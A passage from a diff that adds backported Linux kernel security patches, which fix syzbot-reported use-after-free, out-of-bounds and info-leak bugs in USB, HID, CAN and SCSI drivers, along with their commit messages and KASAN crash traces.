mentioned commit. Specifically, the driver needs +to hold the driver-data mutex also while checking the opened flag at +disconnect(). + +Fixes: c468a8aa790e ("usb: iowarrior: fix deadlock on disconnect") +Fixes: 946b960d13c1 ("USB: add driver for iowarrior devices.") +Cc: stable # 2.6.21 +Reported-by: syzbot+0761012cebf7bdb38137@syzkaller.appspotmail.com +Signed-off-by: Johan Hovold +Link: https://lore.kernel.org/r/20191009104846.5925-2-johan@kernel.org +Signed-off-by: Greg Kroah-Hartman +--- + drivers/usb/misc/iowarrior.c | 7 +++---- + 1 file changed, 3 insertions(+), 4 deletions(-) + +diff --git a/drivers/usb/misc/iowarrior.c b/drivers/usb/misc/iowarrior.c +index f5bed9f29e562..4fe1d3267b3cf 100644 +--- a/drivers/usb/misc/iowarrior.c ++++ b/drivers/usb/misc/iowarrior.c +@@ -866,8 +866,6 @@ static void iowarrior_disconnect(struct usb_interface *interface) + dev = usb_get_intfdata(interface); + mutex_lock(&iowarrior_open_disc_lock); + usb_set_intfdata(interface, NULL); +- /* prevent device read, write and ioctl */ +- dev->present = 0; + + minor = dev->minor; + mutex_unlock(&iowarrior_open_disc_lock); +@@ -878,8 +876,7 @@ static void iowarrior_disconnect(struct usb_interface *interface) + mutex_lock(&dev->mutex); + + /* prevent device read, write and ioctl */ +- +- mutex_unlock(&dev->mutex); ++ dev->present = 0; + + if (dev->opened) { + /* There is a process that holds a filedescriptor to the device , +@@ -889,8 +886,10 @@ static void iowarrior_disconnect(struct usb_interface *interface) + usb_kill_urb(dev->int_in_urb); + wake_up_interruptible(&dev->read_wait); + wake_up_interruptible(&dev->write_wait); ++ mutex_unlock(&dev->mutex); + } else { + /* no process is using the device, cleanup now */ ++ mutex_unlock(&dev->mutex); + iowarrior_delete(dev); + } + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0584-fc05481b2fca-usb yurex Fix useafterfree in yurexdelete.patch b/recipes-kernel/linux/linux-bass/autopatcher/0584-fc05481b2fca-usb yurex Fix useafterfree in yurexdelete.patch new file mode 100644 index 0000000..d5ed0d5 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0584-fc05481b2fca-usb yurex Fix useafterfree in yurexdelete.patch @@ -0,0 +1,155 @@ +From fc05481b2fcabaaeccf63e32ac1baab54e5b6963 Mon Sep 17 00:00:00 2001 +From: Suzuki K Poulose +Date: Mon, 5 Aug 2019 12:15:28 +0100 +Subject: usb: yurex: Fix use-after-free in yurex_delete + +syzbot reported the following crash [0]: + +BUG: KASAN: use-after-free in usb_free_coherent+0x79/0x80 +drivers/usb/core/usb.c:928 +Read of size 8 at addr ffff8881b18599c8 by task syz-executor.4/16007 + +CPU: 0 PID: 16007 Comm: syz-executor.4 Not tainted 5.3.0-rc2+ #23 +Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS +Google 01/01/2011 +Call Trace: + __dump_stack lib/dump_stack.c:77 [inline] + dump_stack+0xca/0x13e lib/dump_stack.c:113 + print_address_description+0x6a/0x32c mm/kasan/report.c:351 + __kasan_report.cold+0x1a/0x33 mm/kasan/report.c:482 + kasan_report+0xe/0x12 mm/kasan/common.c:612 + usb_free_coherent+0x79/0x80 drivers/usb/core/usb.c:928 + yurex_delete+0x138/0x330 drivers/usb/misc/yurex.c:100 + kref_put include/linux/kref.h:65 [inline] + yurex_release+0x66/0x90 drivers/usb/misc/yurex.c:392 + __fput+0x2d7/0x840 fs/file_table.c:280 + task_work_run+0x13f/0x1c0 kernel/task_work.c:113 + tracehook_notify_resume include/linux/tracehook.h:188 [inline] + exit_to_usermode_loop+0x1d2/0x200 arch/x86/entry/common.c:163 + prepare_exit_to_usermode arch/x86/entry/common.c:194 [inline] + syscall_return_slowpath arch/x86/entry/common.c:274 [inline] + do_syscall_64+0x45f/0x580 arch/x86/entry/common.c:299 + entry_SYSCALL_64_after_hwframe+0x49/0xbe +RIP: 0033:0x413511 +Code: 75 14 b8 03 00 00 00 0f 05 48 3d 01 f0 ff ff 0f 83 04 1b 00 00 c3 48 +83 ec 08 e8 0a fc ff ff 48 89 04 24 b8 03 00 00 00 0f 05 <48> 8b 3c 24 48 +89 c2 e8 53 fc ff ff 48 89 d0 48 83 c4 08 48 3d 01 +RSP: 002b:00007ffc424ea2e0 EFLAGS: 00000293 ORIG_RAX: 0000000000000003 +RAX: 0000000000000000 RBX: 0000000000000007 RCX: 0000000000413511 +RDX: 0000000000000000 RSI: 0000000000000000 RDI: 0000000000000006 +RBP: 0000000000000001 R08: 0000000029a2fc22 R09: 0000000029a2fc26 +R10: 00007ffc424ea3c0 R11: 0000000000000293 R12: 000000000075c9a0 +R13: 000000000075c9a0 R14: 0000000000761938 R15: ffffffffffffffff + +Allocated by task 2776: + save_stack+0x1b/0x80 mm/kasan/common.c:69 + set_track mm/kasan/common.c:77 [inline] + __kasan_kmalloc mm/kasan/common.c:487 [inline] + __kasan_kmalloc.constprop.0+0xbf/0xd0 mm/kasan/common.c:460 + kmalloc include/linux/slab.h:552 [inline] + kzalloc include/linux/slab.h:748 [inline] + usb_alloc_dev+0x51/0xf95 drivers/usb/core/usb.c:583 + hub_port_connect drivers/usb/core/hub.c:5004 [inline] + hub_port_connect_change drivers/usb/core/hub.c:5213 [inline] + port_event drivers/usb/core/hub.c:5359 [inline] + hub_event+0x15c0/0x3640 drivers/usb/core/hub.c:5441 + process_one_work+0x92b/0x1530 kernel/workqueue.c:2269 + worker_thread+0x96/0xe20 kernel/workqueue.c:2415 + kthread+0x318/0x420 kernel/kthread.c:255 + ret_from_fork+0x24/0x30 arch/x86/entry/entry_64.S:352 + +Freed by task 16007: + save_stack+0x1b/0x80 mm/kasan/common.c:69 + set_track mm/kasan/common.c:77 [inline] + __kasan_slab_free+0x130/0x180 mm/kasan/common.c:449 + slab_free_hook mm/slub.c:1423 [inline] + slab_free_freelist_hook mm/slub.c:1470 [inline] + slab_free mm/slub.c:3012 [inline] + kfree+0xe4/0x2f0 mm/slub.c:3953 + device_release+0x71/0x200 drivers/base/core.c:1064 + kobject_cleanup lib/kobject.c:693 [inline] + kobject_release lib/kobject.c:722 [inline] + kref_put include/linux/kref.h:65 [inline] + kobject_put+0x171/0x280 lib/kobject.c:739 + put_device+0x1b/0x30 drivers/base/core.c:2213 + usb_put_dev+0x1f/0x30 drivers/usb/core/usb.c:725 + yurex_delete+0x40/0x330 drivers/usb/misc/yurex.c:95 + kref_put include/linux/kref.h:65 [inline] + yurex_release+0x66/0x90 drivers/usb/misc/yurex.c:392 + __fput+0x2d7/0x840 fs/file_table.c:280 + task_work_run+0x13f/0x1c0 kernel/task_work.c:113 + tracehook_notify_resume include/linux/tracehook.h:188 [inline] + exit_to_usermode_loop+0x1d2/0x200 arch/x86/entry/common.c:163 + prepare_exit_to_usermode arch/x86/entry/common.c:194 [inline] + syscall_return_slowpath arch/x86/entry/common.c:274 [inline] + do_syscall_64+0x45f/0x580 arch/x86/entry/common.c:299 + entry_SYSCALL_64_after_hwframe+0x49/0xbe + +The buggy address belongs to the object at ffff8881b1859980 + which belongs to the cache kmalloc-2k of size 2048 +The buggy address is located 72 bytes inside of + 2048-byte region [ffff8881b1859980, ffff8881b185a180) +The buggy address belongs to the page: +page:ffffea0006c61600 refcount:1 mapcount:0 mapping:ffff8881da00c000 +index:0x0 compound_mapcount: 0 +flags: 0x200000000010200(slab|head) +raw: 0200000000010200 0000000000000000 0000000100000001 ffff8881da00c000 +raw: 0000000000000000 00000000000f000f 00000001ffffffff 0000000000000000 +page dumped because: kasan: bad access detected + +Memory state around the buggy address: + ffff8881b1859880: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc + ffff8881b1859900: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc +> ffff8881b1859980: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb + ^ + ffff8881b1859a00: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb + ffff8881b1859a80: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb +================================================================== + +A quick look at the yurex_delete() shows that we drop the reference +to the usb_device before releasing any buffers associated with the +device. Delay the reference drop until we have finished the cleanup. + +[0] https://lore.kernel.org/lkml/0000000000003f86d8058f0bd671@google.com/ + +Fixes: 6bc235a2e24a5e ("USB: add driver for Meywa-Denki & Kayac YUREX") +Cc: Jiri Kosina +Cc: Tomoki Sekiyama +Cc: Oliver Neukum +Cc: andreyknvl@google.com +Cc: gregkh@linuxfoundation.org +Cc: Alan Stern +Cc: syzkaller-bugs@googlegroups.com +Cc: dtor@chromium.org +Reported-by: syzbot+d1fedb1c1fdb07fca507@syzkaller.appspotmail.com +Signed-off-by: Suzuki K Poulose +Cc: stable +Link: https://lore.kernel.org/r/20190805111528.6758-1-suzuki.poulose@arm.com +Signed-off-by: Greg Kroah-Hartman +--- + drivers/usb/misc/yurex.c | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +diff --git a/drivers/usb/misc/yurex.c b/drivers/usb/misc/yurex.c +index 7b306aa22d258..6715a128e6c8b 100644 +--- a/drivers/usb/misc/yurex.c ++++ b/drivers/usb/misc/yurex.c +@@ -92,7 +92,6 @@ static void yurex_delete(struct kref *kref) + + dev_dbg(&dev->interface->dev, "%s\n", __func__); + +- usb_put_dev(dev->udev); + if (dev->cntl_urb) { + usb_kill_urb(dev->cntl_urb); + kfree(dev->cntl_req); +@@ -108,6 +107,7 @@ static void yurex_delete(struct kref *kref) + dev->int_buffer, dev->urb->transfer_dma); + usb_free_urb(dev->urb); + } ++ usb_put_dev(dev->udev); + kfree(dev); + } + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0585-48686264d5e6-PATCH HID Fix assumption that devices have inputs.patch b/recipes-kernel/linux/linux-bass/autopatcher/0585-48686264d5e6-PATCH HID Fix assumption that devices have inputs.patch new file mode 100644 index 0000000..8bf5e0b --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0585-48686264d5e6-PATCH HID Fix assumption that devices have inputs.patch @@ -0,0 +1,331 @@ +From 48686264d5e60438da81885da61ce29c37875704 Mon Sep 17 00:00:00 2001 +From: Alan Stern +Date: Thu, 3 Oct 2019 14:53:59 -0400 +Subject: [PATCH] HID: Fix assumption that devices have inputs + +commit d9d4b1e46d9543a82c23f6df03f4ad697dab361b upstream. + +The syzbot fuzzer found a slab-out-of-bounds write bug in the hid-gaff +driver. The problem is caused by the driver's assumption that the +device must have an input report. While this will be true for all +normal HID input devices, a suitably malicious device can violate the +assumption. + +The same assumption is present in over a dozen other HID drivers. +This patch fixes them by checking that the list of hid_inputs for the +hid_device is nonempty before allowing it to be used. + +Change-Id: Ica144dbc32ed7a9c7d42bf9aa2651d12bc185b71 +Reported-and-tested-by: syzbot+403741a091bf41d4ae79@syzkaller.appspotmail.com +Signed-off-by: Alan Stern +Signed-off-by: Benjamin Tissoires +[bwh: Backported to 3.16: + - Drop changes in hid-logitech-hidpp, hid-microsoft + - Adjust context] +Signed-off-by: Ben Hutchings +--- + drivers/hid/hid-axff.c | 11 +++++++++-- + drivers/hid/hid-dr.c | 12 +++++++++--- + drivers/hid/hid-emsff.c | 12 +++++++++--- + drivers/hid/hid-gaff.c | 12 +++++++++--- + drivers/hid/hid-holtekff.c | 12 +++++++++--- + drivers/hid/hid-lg2ff.c | 12 +++++++++--- + drivers/hid/hid-lg3ff.c | 11 +++++++++-- + drivers/hid/hid-lg4ff.c | 11 +++++++++-- + drivers/hid/hid-lgff.c | 11 +++++++++-- + drivers/hid/hid-tmff.c | 12 +++++++++--- + drivers/hid/hid-zpff.c | 12 +++++++++--- + 11 files changed, 99 insertions(+), 29 deletions(-) + +diff --git a/drivers/hid/hid-axff.c b/drivers/hid/hid-axff.c +index a594e478a1e..843aed4dec8 100644 +--- a/drivers/hid/hid-axff.c ++++ b/drivers/hid/hid-axff.c +@@ -75,13 +75,20 @@ static int axff_init(struct hid_device *hid) + { + struct axff_device *axff; + struct hid_report *report; +- struct hid_input *hidinput = list_first_entry(&hid->inputs, struct hid_input, list); ++ struct hid_input *hidinput; + struct list_head *report_list =&hid->report_enum[HID_OUTPUT_REPORT].report_list; +- struct input_dev *dev = hidinput->input; ++ struct input_dev *dev; + int field_count = 0; + int i, j; + int error; + ++ if (list_empty(&hid->inputs)) { ++ hid_err(hid, "no inputs found\n"); ++ return -ENODEV; ++ } ++ hidinput = list_first_entry(&hid->inputs, struct hid_input, list); ++ dev = hidinput->input; ++ + if (list_empty(report_list)) { + hid_err(hid, "no output reports found\n"); + return -ENODEV; +diff --git a/drivers/hid/hid-dr.c b/drivers/hid/hid-dr.c +index ce0644424f5..e4e3c7b76fe 100644 +--- a/drivers/hid/hid-dr.c ++++ b/drivers/hid/hid-dr.c +@@ -87,13 +87,19 @@ static int drff_init(struct hid_device *hid) + { + struct drff_device *drff; + struct hid_report *report; +- struct hid_input *hidinput = list_first_entry(&hid->inputs, +- struct hid_input, list); ++ struct hid_input *hidinput; + struct list_head *report_list = + &hid->report_enum[HID_OUTPUT_REPORT].report_list; +- struct input_dev *dev = hidinput->input; ++ struct input_dev *dev; + int error; + ++ if (list_empty(&hid->inputs)) { ++ hid_err(hid, "no inputs found\n"); ++ return -ENODEV; ++ } ++ hidinput = list_first_entry(&hid->inputs, struct hid_input, list); ++ dev = hidinput->input; ++ + if (list_empty(report_list)) { + hid_err(hid, "no output reports found\n"); + return -ENODEV; +diff --git a/drivers/hid/hid-emsff.c b/drivers/hid/hid-emsff.c +index d82d75bb11f..80f9a02dfa6 100644 +--- a/drivers/hid/hid-emsff.c ++++ b/drivers/hid/hid-emsff.c +@@ -59,13 +59,19 @@ static int emsff_init(struct hid_device *hid) + { + struct emsff_device *emsff; + struct hid_report *report; +- struct hid_input *hidinput = list_first_entry(&hid->inputs, +- struct hid_input, list); ++ struct hid_input *hidinput; + struct list_head *report_list = + &hid->report_enum[HID_OUTPUT_REPORT].report_list; +- struct input_dev *dev = hidinput->input; ++ struct input_dev *dev; + int error; + ++ if (list_empty(&hid->inputs)) { ++ hid_err(hid, "no inputs found\n"); ++ return -ENODEV; ++ } ++ hidinput = list_first_entry(&hid->inputs, struct hid_input, list); ++ dev = hidinput->input; ++ + if (list_empty(report_list)) { + hid_err(hid, "no output reports found\n"); + return -ENODEV; +diff --git a/drivers/hid/hid-gaff.c b/drivers/hid/hid-gaff.c +index 2d8cead3adc..5a02c50443c 100644 +--- a/drivers/hid/hid-gaff.c ++++ b/drivers/hid/hid-gaff.c +@@ -77,14 +77,20 @@ static int gaff_init(struct hid_device *hid) + { + struct gaff_device *gaff; + struct hid_report *report; +- struct hid_input *hidinput = list_entry(hid->inputs.next, +- struct hid_input, list); ++ struct hid_input *hidinput; + struct list_head *report_list = + &hid->report_enum[HID_OUTPUT_REPORT].report_list; + struct list_head *report_ptr = report_list; +- struct input_dev *dev = hidinput->input; ++ struct input_dev *dev; + int error; + ++ if (list_empty(&hid->inputs)) { ++ hid_err(hid, "no inputs found\n"); ++ return -ENODEV; ++ } ++ hidinput = list_entry(hid->inputs.next, struct hid_input, list); ++ dev = hidinput->input; ++ + if (list_empty(report_list)) { + hid_err(hid, "no output reports found\n"); + return -ENODEV; +diff --git a/drivers/hid/hid-holtekff.c b/drivers/hid/hid-holtekff.c +index 9a8f0512452..c6f9942142f 100644 +--- a/drivers/hid/hid-holtekff.c ++++ b/drivers/hid/hid-holtekff.c +@@ -140,13 +140,19 @@ static int holtekff_init(struct hid_device *hid) + { + struct holtekff_device *holtekff; + struct hid_report *report; +- struct hid_input *hidinput = list_entry(hid->inputs.next, +- struct hid_input, list); ++ struct hid_input *hidinput; + struct list_head *report_list = + &hid->report_enum[HID_OUTPUT_REPORT].report_list; +- struct input_dev *dev = hidinput->input; ++ struct input_dev *dev; + int error; + ++ if (list_empty(&hid->inputs)) { ++ hid_err(hid, "no inputs found\n"); ++ return -ENODEV; ++ } ++ hidinput = list_entry(hid->inputs.next, struct hid_input, list); ++ dev = hidinput->input; ++ + if (list_empty(report_list)) { + hid_err(hid, "no output report found\n"); + return -ENODEV; +diff --git a/drivers/hid/hid-lg2ff.c b/drivers/hid/hid-lg2ff.c +index 0e3fb1a7e42..6909d9c2fc6 100644 +--- a/drivers/hid/hid-lg2ff.c ++++ b/drivers/hid/hid-lg2ff.c +@@ -62,11 +62,17 @@ int lg2ff_init(struct hid_device *hid) + { + struct lg2ff_device *lg2ff; + struct hid_report *report; +- struct hid_input *hidinput = list_entry(hid->inputs.next, +- struct hid_input, list); +- struct input_dev *dev = hidinput->input; ++ struct hid_input *hidinput; ++ struct input_dev *dev; + int error; + ++ if (list_empty(&hid->inputs)) { ++ hid_err(hid, "no inputs found\n"); ++ return -ENODEV; ++ } ++ hidinput = list_entry(hid->inputs.next, struct hid_input, list); ++ dev = hidinput->input; ++ + /* Check that the report looks ok */ + report = hid_validate_values(hid, HID_OUTPUT_REPORT, 0, 0, 7); + if (!report) +diff --git a/drivers/hid/hid-lg3ff.c b/drivers/hid/hid-lg3ff.c +index 8c2da183d3b..acf739fc406 100644 +--- a/drivers/hid/hid-lg3ff.c ++++ b/drivers/hid/hid-lg3ff.c +@@ -129,12 +129,19 @@ static const signed short ff3_joystick_ac[] = { + + int lg3ff_init(struct hid_device *hid) + { +- struct hid_input *hidinput = list_entry(hid->inputs.next, struct hid_input, list); +- struct input_dev *dev = hidinput->input; ++ struct hid_input *hidinput; ++ struct input_dev *dev; + const signed short *ff_bits = ff3_joystick_ac; + int error; + int i; + ++ if (list_empty(&hid->inputs)) { ++ hid_err(hid, "no inputs found\n"); ++ return -ENODEV; ++ } ++ hidinput = list_entry(hid->inputs.next, struct hid_input, list); ++ dev = hidinput->input; ++ + /* Check that the report looks ok */ + if (!hid_validate_values(hid, HID_OUTPUT_REPORT, 0, 0, 35)) + return -ENODEV; +diff --git a/drivers/hid/hid-lg4ff.c b/drivers/hid/hid-lg4ff.c +index 35180536229..5b532bb398b 100644 +--- a/drivers/hid/hid-lg4ff.c ++++ b/drivers/hid/hid-lg4ff.c +@@ -517,14 +517,21 @@ static enum led_brightness lg4ff_led_get_brightness(struct led_classdev *led_cde + + int lg4ff_init(struct hid_device *hid) + { +- struct hid_input *hidinput = list_entry(hid->inputs.next, struct hid_input, list); +- struct input_dev *dev = hidinput->input; ++ struct hid_input *hidinput; ++ struct input_dev *dev; + struct lg4ff_device_entry *entry; + struct lg_drv_data *drv_data; + struct usb_device_descriptor *udesc; + int error, i, j; + __u16 bcdDevice, rev_maj, rev_min; + ++ if (list_empty(&hid->inputs)) { ++ hid_err(hid, "no inputs found\n"); ++ return -ENODEV; ++ } ++ hidinput = list_entry(hid->inputs.next, struct hid_input, list); ++ dev = hidinput->input; ++ + /* Check that the report looks ok */ + if (!hid_validate_values(hid, HID_OUTPUT_REPORT, 0, 0, 7)) + return -1; +diff --git a/drivers/hid/hid-lgff.c b/drivers/hid/hid-lgff.c +index e1394af0ae7..1871cdcd1e0 100644 +--- a/drivers/hid/hid-lgff.c ++++ b/drivers/hid/hid-lgff.c +@@ -127,12 +127,19 @@ static void hid_lgff_set_autocenter(struct input_dev *dev, u16 magnitude) + + int lgff_init(struct hid_device* hid) + { +- struct hid_input *hidinput = list_entry(hid->inputs.next, struct hid_input, list); +- struct input_dev *dev = hidinput->input; ++ struct hid_input *hidinput; ++ struct input_dev *dev; + const signed short *ff_bits = ff_joystick; + int error; + int i; + ++ if (list_empty(&hid->inputs)) { ++ hid_err(hid, "no inputs found\n"); ++ return -ENODEV; ++ } ++ hidinput = list_entry(hid->inputs.next, struct hid_input, list); ++ dev = hidinput->input; ++ + /* Check that the report looks ok */ + if (!hid_validate_values(hid, HID_OUTPUT_REPORT, 0, 0, 7)) + return -ENODEV; +diff --git a/drivers/hid/hid-tmff.c b/drivers/hid/hid-tmff.c +index b83376077d7..9e908d94cc4 100644 +--- a/drivers/hid/hid-tmff.c ++++ b/drivers/hid/hid-tmff.c +@@ -126,12 +126,18 @@ static int tmff_init(struct hid_device *hid, const signed short *ff_bits) + struct tmff_device *tmff; + struct hid_report *report; + struct list_head *report_list; +- struct hid_input *hidinput = list_entry(hid->inputs.next, +- struct hid_input, list); +- struct input_dev *input_dev = hidinput->input; ++ struct hid_input *hidinput; ++ struct input_dev *input_dev; + int error; + int i; + ++ if (list_empty(&hid->inputs)) { ++ hid_err(hid, "no inputs found\n"); ++ return -ENODEV; ++ } ++ hidinput = list_entry(hid->inputs.next, struct hid_input, list); ++ input_dev = hidinput->input; ++ + tmff = kzalloc(sizeof(struct tmff_device), GFP_KERNEL); + if (!tmff) + return -ENOMEM; +diff --git a/drivers/hid/hid-zpff.c b/drivers/hid/hid-zpff.c +index a29756c6ca0..4e7e01be99b 100644 +--- a/drivers/hid/hid-zpff.c ++++ b/drivers/hid/hid-zpff.c +@@ -66,11 +66,17 @@ static int zpff_init(struct hid_device *hid) + { + struct zpff_device *zpff; + struct hid_report *report; +- struct hid_input *hidinput = list_entry(hid->inputs.next, +- struct hid_input, list); +- struct input_dev *dev = hidinput->input; ++ struct hid_input *hidinput; ++ struct input_dev *dev; + int i, error; + ++ if (list_empty(&hid->inputs)) { ++ hid_err(hid, "no inputs found\n"); ++ return -ENODEV; ++ } ++ hidinput = list_entry(hid->inputs.next, struct hid_input, list); ++ dev = hidinput->input; ++ + for (i = 0; i < 4; i++) { + report = hid_validate_values(hid, HID_OUTPUT_REPORT, 0, i, 1); + if (!report) diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0586-a10feaf8c464-media ttusbdec Fix infoleak in ttusbdecsendcommand.patch b/recipes-kernel/linux/linux-bass/autopatcher/0586-a10feaf8c464-media ttusbdec Fix infoleak in ttusbdecsendcommand.patch new file mode 100644 index 0000000..a599e78 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0586-a10feaf8c464-media ttusbdec Fix infoleak in ttusbdecsendcommand.patch @@ -0,0 +1,35 @@ +From a10feaf8c464c3f9cfdd3a8a7ce17e1c0d498da1 Mon Sep 17 00:00:00 2001 +From: Tomas Bortoli +Date: Wed, 31 Jul 2019 12:19:05 -0300 +Subject: media: ttusb-dec: Fix info-leak in ttusb_dec_send_command() + +The function at issue does not always initialize each byte allocated +for 'b' and can therefore leak uninitialized memory to a USB device in +the call to usb_bulk_msg() + +Use kzalloc() instead of kmalloc() + +Signed-off-by: Tomas Bortoli +Reported-by: syzbot+0522702e9d67142379f1@syzkaller.appspotmail.com +Signed-off-by: Sean Young +Signed-off-by: Mauro Carvalho Chehab +--- + drivers/media/usb/ttusb-dec/ttusb_dec.c | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +diff --git a/drivers/media/usb/ttusb-dec/ttusb_dec.c b/drivers/media/usb/ttusb-dec/ttusb_dec.c +index 1d0afa340f47c..3198f9624b7c0 100644 +--- a/drivers/media/usb/ttusb-dec/ttusb_dec.c ++++ b/drivers/media/usb/ttusb-dec/ttusb_dec.c +@@ -319,7 +319,7 @@ static int ttusb_dec_send_command(struct ttusb_dec *dec, const u8 command, + + dprintk("%s\n", __func__); + +- b = kmalloc(COMMAND_PACKET_SIZE + 4, GFP_KERNEL); ++ b = kzalloc(COMMAND_PACKET_SIZE + 4, GFP_KERNEL); + if (!b) + return -ENOMEM; + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0587-f7a1337f0d29-can peakusb fix slab info leak.patch b/recipes-kernel/linux/linux-bass/autopatcher/0587-f7a1337f0d29-can peakusb fix slab info leak.patch new file mode 100644 index 0000000..2d2c5d7 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0587-f7a1337f0d29-can peakusb fix slab info leak.patch @@ -0,0 +1,38 @@ +From f7a1337f0d29b98733c8824e165fca3371d7d4fd Mon Sep 17 00:00:00 2001 +From: Johan Hovold +Date: Wed, 23 Oct 2019 10:27:05 +0200 +Subject: can: peak_usb: fix slab info leak + +Fix a small slab info leak due to a failure to clear the command buffer +at allocation. + +The first 16 bytes of the command buffer are always sent to the device +in pcan_usb_send_cmd() even though only the first two may have been +initialised in case no argument payload is provided (e.g. when waiting +for a response). + +Fixes: bb4785551f64 ("can: usb: PEAK-System Technik USB adapters driver core") +Cc: stable # 3.4 +Reported-by: syzbot+863724e7128e14b26732@syzkaller.appspotmail.com +Signed-off-by: Johan Hovold +Signed-off-by: Marc Kleine-Budde +--- + drivers/net/can/usb/peak_usb/pcan_usb_core.c | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +diff --git a/drivers/net/can/usb/peak_usb/pcan_usb_core.c b/drivers/net/can/usb/peak_usb/pcan_usb_core.c +index 65dce642b86b5..0b7766b715fd2 100644 +--- a/drivers/net/can/usb/peak_usb/pcan_usb_core.c ++++ b/drivers/net/can/usb/peak_usb/pcan_usb_core.c +@@ -750,7 +750,7 @@ static int peak_usb_create_dev(const struct peak_usb_adapter *peak_usb_adapter, + dev = netdev_priv(netdev); + + /* allocate a buffer large enough to send commands */ +- dev->cmd_buf = kmalloc(PCAN_USB_MAX_CMD_LEN, GFP_KERNEL); ++ dev->cmd_buf = kzalloc(PCAN_USB_MAX_CMD_LEN, GFP_KERNEL); + if (!dev->cmd_buf) { + err = -ENOMEM; + goto lbl_free_candev; +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0588-ead16e53c2f0-can peakusb pcanusbpro Fix infoleaks to USB devices.patch b/recipes-kernel/linux/linux-bass/autopatcher/0588-ead16e53c2f0-can peakusb pcanusbpro Fix infoleaks to USB devices.patch new file mode 100644 index 0000000..5f6370a --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0588-ead16e53c2f0-can peakusb pcanusbpro Fix infoleaks to USB devices.patch @@ -0,0 +1,34 @@ +From ead16e53c2f0ed946d82d4037c630e2f60f4ab69 Mon Sep 17 00:00:00 2001 +From: Tomas Bortoli +Date: Wed, 31 Jul 2019 10:54:47 -0400 +Subject: can: peak_usb: pcan_usb_pro: Fix info-leaks to USB devices + +Uninitialized Kernel memory can leak to USB devices. + +Fix by using kzalloc() instead of kmalloc() on the affected buffers. + +Signed-off-by: Tomas Bortoli +Reported-by: syzbot+d6a5a1a3657b596ef132@syzkaller.appspotmail.com +Fixes: f14e22435a27 ("net: can: peak_usb: Do not do dma on the stack") +Cc: linux-stable +Signed-off-by: Marc Kleine-Budde +--- + drivers/net/can/usb/peak_usb/pcan_usb_pro.c | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +diff --git a/drivers/net/can/usb/peak_usb/pcan_usb_pro.c b/drivers/net/can/usb/peak_usb/pcan_usb_pro.c +index 178bb7cff0c1a..53cb2f72bdd05 100644 +--- a/drivers/net/can/usb/peak_usb/pcan_usb_pro.c ++++ b/drivers/net/can/usb/peak_usb/pcan_usb_pro.c +@@ -494,7 +494,7 @@ static int pcan_usb_pro_drv_loaded(struct peak_usb_device *dev, int loaded) + u8 *buffer; + int err; + +- buffer = kmalloc(PCAN_USBPRO_FCT_DRVLD_REQ_LEN, GFP_KERNEL); ++ buffer = kzalloc(PCAN_USBPRO_FCT_DRVLD_REQ_LEN, GFP_KERNEL); + if (!buffer) + return -ENOMEM; + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0589-f70267f379b5-scsi libsas stop discovering if oob mode is disconnected.patch b/recipes-kernel/linux/linux-bass/autopatcher/0589-f70267f379b5-scsi libsas stop discovering if oob mode is disconnected.patch new file mode 100644 index 0000000..65e2485 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0589-f70267f379b5-scsi libsas stop discovering if oob mode is disconnected.patch @@ -0,0 +1,142 @@ +From f70267f379b5e5e11bdc5d72a56bf17e5feed01f Mon Sep 17 00:00:00 2001 +From: Jason Yan +Date: Fri, 6 Dec 2019 09:11:18 +0800 +Subject: scsi: libsas: stop discovering if oob mode is disconnected + +The discovering of sas port is driven by workqueue in libsas. When libsas +is processing port events or phy events in workqueue, new events may rise +up and change the state of some structures such as asd_sas_phy. This may +cause some problems such as follows: + +==>thread 1 ==>thread 2 + + ==>phy up + ==>phy_up_v3_hw() + ==>oob_mode = SATA_OOB_MODE; + ==>phy down quickly + ==>hisi_sas_phy_down() + ==>sas_ha->notify_phy_event() + ==>sas_phy_disconnected() + ==>oob_mode = OOB_NOT_CONNECTED +==>workqueue wakeup +==>sas_form_port() + ==>sas_discover_domain() + ==>sas_get_port_device() + ==>oob_mode is OOB_NOT_CONNECTED and device + is wrongly taken as expander + +This at last lead to the panic when libsas trying to issue a command to +discover the device. + +[183047.614035] Unable to handle kernel NULL pointer dereference at +virtual address 0000000000000058 +[183047.622896] Mem abort info: +[183047.625762] ESR = 0x96000004 +[183047.628893] Exception class = DABT (current EL), IL = 32 bits +[183047.634888] SET = 0, FnV = 0 +[183047.638015] EA = 0, S1PTW = 0 +[183047.641232] Data abort info: +[183047.644189] ISV = 0, ISS = 0x00000004 +[183047.648100] CM = 0, WnR = 0 +[183047.651145] user pgtable: 4k pages, 48-bit VAs, pgdp = +00000000b7df67be +[183047.657834] [0000000000000058] pgd=0000000000000000 +[183047.662789] Internal error: Oops: 96000004 [#1] SMP +[183047.667740] Process kworker/u16:2 (pid: 31291, stack limit = +0x00000000417c4974) +[183047.675208] CPU: 0 PID: 3291 Comm: kworker/u16:2 Tainted: G +W OE 4.19.36-vhulk1907.1.0.h410.eulerosv2r8.aarch64 #1 +[183047.687015] Hardware name: N/A N/A/Kunpeng Desktop Board D920S10, +BIOS 0.15 10/22/2019 +[183047.695007] Workqueue: 0000:74:02.0_disco_q sas_discover_domain +[183047.700999] pstate: 20c00009 (nzCv daif +PAN +UAO) 